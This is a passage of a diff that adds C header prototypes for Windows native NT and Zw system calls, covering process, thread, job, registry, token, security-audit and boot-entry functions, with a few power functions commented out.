+NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + +NTSTATUS +NTAPI +NtClose ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + +NTSTATUS +NTAPI +NtGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + +NTSTATUS +NTAPI +NtPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + +NTSTATUS +NTAPI +NtPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + +NTSTATUS +NTAPI +NtRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + +// NTSTATUS +// NTAPI +// NtInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + +// NTSTATUS +// NTAPI +// NtSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + +// NTSTATUS +// NTAPI +// NtGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + +NTSTATUS +NTAPI +NtCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtRequestDeviceWakeup( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + +NTSTATUS +NTAPI +NtCreateProcessEx( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryPortInformationProcess ( + VOID + ); + + +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + +NTSTATUS +NTAPI +NtCreateThreadEx ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + IN LPVOID StartRoutine, + IN LPVOID Argument, + IN ULONG CreateFlags, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN SIZE_T MaximumStackSize, + IN LPVOID AttributeList +); + + +NTSTATUS +NTAPI +NtCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtSuspendProcess ( + HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtResumeProcess ( + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + +NTSTATUS +NTAPI +NtAlertThread ( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + +NTSTATUS +NTAPI +NtTestAlert ( + VOID + ); + + +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + +NTSTATUS +NTAPI +NtQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + +NTSTATUS +NTAPI +NtCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + +NTSTATUS +NTAPI +NtCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtFlushKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtInitializeRegistry( + IN USHORT BootCondition + ); + + +NTSTATUS +NTAPI +NtNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + +NTSTATUS +NTAPI +NtLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + +NTSTATUS +NTAPI +NtReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + +NTSTATUS +NTAPI +NtRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + +NTSTATUS +NTAPI +NtCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + +NTSTATUS +NTAPI +NtCompressKey( + IN HANDLE Key + ); + + +NTSTATUS +NTAPI +NtRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + +NTSTATUS +NTAPI +NtSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + +NTSTATUS +NTAPI +NtUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + +NTSTATUS +NTAPI +NtUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + +NTSTATUS +NTAPI +NtSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + +NTSTATUS +NTAPI +NtLockRegistryKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + +NTSTATUS +NTAPI +NtAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSTATUS +NTAPI +NtAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +NtRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_ntapi + + +// begin_zwapi +NTSTATUS +NTAPI +ZwDelayExecution ( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteBootEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + + +NTSTATUS +NTAPI +ZwSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + + +NTSTATUS +NTAPI +ZwTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + + +NTSTATUS +NTAPI +ZwAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteDriverEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + + 